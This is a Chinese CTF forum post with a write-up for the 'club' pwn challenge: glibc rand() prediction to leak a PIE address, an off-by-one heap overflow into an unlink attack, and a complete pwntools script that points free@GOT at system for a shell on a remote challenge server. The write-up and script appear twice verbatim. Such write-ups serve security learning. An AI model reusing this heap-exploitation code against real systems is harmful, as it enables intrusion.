-
-
[下载][下载]club
-
发表于: 2017-10-13 11:50 3024
-
club.tar : bin + libc
## 0x01 随机数预测
首先是要获取堆的地址,由于开了PIE所以需要通过程序泄露出来,通过随机数来获得种子,从而得到`data段`地址。
程序在开始声明了两个变量`seed`和`name`,随机数种子就是`seed`的地址,在猜测正确随机数后就能将地址返回回来,那么问题就是如何预测随机数了。
具体需要了解[随机数的原理](http://mutepig.club),这里直接把结论丢出来:
```
rand[i] = (rand[i-3]+rand[i-31])&0x7fffffff
```
所以只要获得了前31个随机数,就能预测出来后面的随机数,从而得到泄露的地址。
## 0x02 off by one
在留言的时候,由于多读了一个字符串,所以会导致`off by one`,从而溢出下一个`chunk`的`size`。
那么我们可以构造类似这样的`chunk`:
```
+==========+
0 |0xf8
+==========+
fake_chunk(size=0xe0)
+==========+
.......
+==========+
0xe0 | 0x100
+==========+
```
这样实现之后,不仅我们控制了下一个`chunk`的`prev_size`,使得其指向的前一个`chunk`是我们伪造的,同时覆盖了下一个`chunk`的`size`的最低位,使之认为上一个`chunk`是空闲的,所以会调用`unlink`。
## 0x03 EXP
```
#!/usr/bin/env python
# encoding: utf-8
from mypwn import *
bin_file = "./club"
remote_detail = ("123.206.22.95",8888)
libc_file = "./libc.so.6"
bp = [0x1100]
pie = True
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
def new(box,size=0):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("> ")
p.sendline(str(box))
p.recvuntil("> ")
p.sendline(str(size))
def free(box):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(str(box))
def msg(box,cont):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline(str(box))
p.send(cont)
def show(box):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline(str(box))
return p.recvuntil("\n").strip()
def guess_num(num):
p.recvuntil("> ")
p.sendline("5")
p.recvuntil("> ")
p.sendline(str(num))
ret = p.recvuntil("\n")
ok = "G00d" in ret
number = int(ret.split(" ")[-1].split("!")[0])
return ok,number
def guess():
randnum = []
for i in xrange(31):
ok,num = guess_num(0)
randnum.append(num)
while not ok:
guess = (randnum[len(randnum)-31]+randnum[len(randnum)-3])&0x7fffffff
ok,num = guess_num(guess)
randnum.append(num)
return num
def df_chunk(addr,size):
# addr is the heap_addr, that means *addr=(&fake_chunk)
fake_chunk = p64(0) + p64(size+1) + p64(addr - 0x18 ) + p64(addr - 0x10) + (size-0x20) * 'M'
fake_next_size = p64(size)
return fake_chunk + fake_next_size
if __name__ == "__main__":
# guess number to get stack_addr
seed_addr = guess()
heap_addr = seed_addr - 0x48 + 0x10
base_addr = seed_addr - 0x148-0x202000
free_got = elf.got['free'] + base_addr
atoi_got = elf.got['atoi'] + base_addr
puts_got = elf.got['puts'] + base_addr
libc_free = libc.symbols['free']
libc_system = libc.symbols['system']
log.success("heap_addr:" + hex(heap_addr))
new(1, 0x18)
new(2, 0xe8)
new(3, 0xf8)
new(4,0x110)
#payload = p64(heap_addr-0x18) + p64(heap_addr-0x10) + (0xf0-0x20)*'M' + p64(0xf0) + '\x00'
msg(4,"/bin/sh\x00\n")
payload = df_chunk(heap_addr,0xe0) + "\x00"
msg(2,payload)
free(3)
msg(2,'1'*0x10 + p64(puts_got) + p64(free_got)+"\n")
free_addr = show(2)
free_addr = free_addr.strip().ljust(8,"\x00")
free_addr = u64(free_addr)
base_addr = free_addr - libc_free
system_addr = base_addr + libc_system
log.success("system_addr: %s"%(hex(system_addr)))
msg(1,p64(system_addr)+"\n")
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline("4")
#show(4)
p.interactive()
```
## 0x01 随机数预测
首先是要获取堆的地址,由于开了PIE所以需要通过程序泄露出来,通过随机数来获得种子,从而得到`data段`地址。
程序在开始声明了两个变量`seed`和`name`,随机数种子就是`seed`的地址,在猜测正确随机数后就能将地址返回回来,那么问题就是如何预测随机数了。
具体需要了解[随机数的原理](http://mutepig.club),这里直接把结论丢出来:
```
rand[i] = (rand[i-3]+rand[i-31])&0x7fffffff
```
所以只要获得了前31个随机数,就能预测出来后面的随机数,从而得到泄露的地址。
## 0x02 off by one
在留言的时候,由于多读了一个字符串,所以会导致`off by one`,从而溢出下一个`chunk`的`size`。
那么我们可以构造类似这样的`chunk`:
```
+==========+
0 |0xf8
+==========+
fake_chunk(size=0xe0)
+==========+
.......
+==========+
0xe0 | 0x100
+==========+
```
这样实现之后,不仅我们控制了下一个`chunk`的`prev_size`,使得其指向的前一个`chunk`是我们伪造的,同时覆盖了下一个`chunk`的`size`的最低位,使之认为上一个`chunk`是空闲的,所以会调用`unlink`。
## 0x03 EXP
```
#!/usr/bin/env python
# encoding: utf-8
from mypwn import *
bin_file = "./club"
remote_detail = ("123.206.22.95",8888)
libc_file = "./libc.so.6"
bp = [0x1100]
pie = True
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
def new(box,size=0):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("> ")
p.sendline(str(box))
p.recvuntil("> ")
p.sendline(str(size))
def free(box):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(str(box))
def msg(box,cont):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline(str(box))
p.send(cont)
def show(box):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline(str(box))
return p.recvuntil("\n").strip()
def guess_num(num):
p.recvuntil("> ")
p.sendline("5")
p.recvuntil("> ")
p.sendline(str(num))
ret = p.recvuntil("\n")
ok = "G00d" in ret
number = int(ret.split(" ")[-1].split("!")[0])
return ok,number
def guess():
randnum = []
for i in xrange(31):
ok,num = guess_num(0)
randnum.append(num)
while not ok:
guess = (randnum[len(randnum)-31]+randnum[len(randnum)-3])&0x7fffffff
ok,num = guess_num(guess)
randnum.append(num)
return num
def df_chunk(addr,size):
# addr is the heap_addr, that means *addr=(&fake_chunk)
fake_chunk = p64(0) + p64(size+1) + p64(addr - 0x18 ) + p64(addr - 0x10) + (size-0x20) * 'M'
fake_next_size = p64(size)
return fake_chunk + fake_next_size
if __name__ == "__main__":
# guess number to get stack_addr
seed_addr = guess()
heap_addr = seed_addr - 0x48 + 0x10
base_addr = seed_addr - 0x148-0x202000
free_got = elf.got['free'] + base_addr
atoi_got = elf.got['atoi'] + base_addr
puts_got = elf.got['puts'] + base_addr
libc_free = libc.symbols['free']
libc_system = libc.symbols['system']
log.success("heap_addr:" + hex(heap_addr))
new(1, 0x18)
new(2, 0xe8)
new(3, 0xf8)
new(4,0x110)
#payload = p64(heap_addr-0x18) + p64(heap_addr-0x10) + (0xf0-0x20)*'M' + p64(0xf0) + '\x00'
msg(4,"/bin/sh\x00\n")
payload = df_chunk(heap_addr,0xe0) + "\x00"
msg(2,payload)
free(3)
msg(2,'1'*0x10 + p64(puts_got) + p64(free_got)+"\n")
free_addr = show(2)
free_addr = free_addr.strip().ljust(8,"\x00")
free_addr = u64(free_addr)
base_addr = free_addr - libc_free
system_addr = base_addr + libc_system
log.success("system_addr: %s"%(hex(system_addr)))
msg(1,p64(system_addr)+"\n")
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline("4")
#show(4)
p.interactive()
```
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
- [原创]挖宝题目设计思路 7168
- [原创]3pigsX 3243
- [下载][下载]club 3025
- [原创]看雪CTF4-ReeHY-main-出题者思路分析 4931
- 看雪CTF-ReeHY-main 7853
谁下载
看原图
赞赏
雪币:
留言: